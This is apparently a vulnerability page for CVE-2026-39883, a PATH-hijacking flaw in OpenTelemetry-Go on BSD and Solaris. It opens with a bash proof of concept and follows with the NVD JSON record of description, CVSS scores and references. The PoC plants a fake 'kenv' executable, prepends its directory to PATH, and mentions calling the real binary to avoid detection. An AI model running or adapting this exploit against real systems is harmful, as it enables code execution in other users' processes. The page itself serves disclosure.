CVE-2026-39883

#!/bin/bash # PoC for CVE-2026-39883: OpenTelemetry-Go PATH Hijacking on BSD/Solaris # Description: Create a malicious 'kenv' executable and prepend it to PATH. # 1. Create a directory for the malicious payload mkdir -p /tmp/exploit_dir # 2. Create the malicious 'kenv' file cat > /tmp/exploit_dir/kenv <<'EOF' #!/bin/sh # Malicious code execution echo "[+] CVE-2026-39883 Exploited!" whoami > /tmp/pwned.txt # Optionally execute original command if needed to avoid detection # /usr/bin/kenv "$@" EOF # 3. Make it executable chmod +x /tmp/exploit_dir/kenv # 4. Prepend the directory to PATH export PATH=/tmp/exploit_dir:$PATH # 5. Trigger the vulnerability by running the vulnerable application # Example: go run main.go (where main.go imports vulnerable OpenTelemetry-Go) echo "[+] PATH modified. Triggering the vulnerable application now..." # The application will call exec.Command("kenv", ...) # which resolves to /tmp/exploit_dir/kenv

{"cve": {"id": "CVE-2026-39883", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.697", "lastModified": "2026-04-10T21:16:27.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.15.0 to 1.42.0, the fix for CVE-2026-24051 changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. This vulnerability is fixed in 1.43.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.15.0", "versionEndExcluding": "1.43.0", "matchCriteriaId": "4103FB9A-4AC6-4128-B55B-AEF0DACCC2D2"}]}]}], "references": [{"url": "http://github.com/open-telemetry/opentelemetry-go/releases/tag/v1.43.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-hfvc-g4fc-pqhx", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}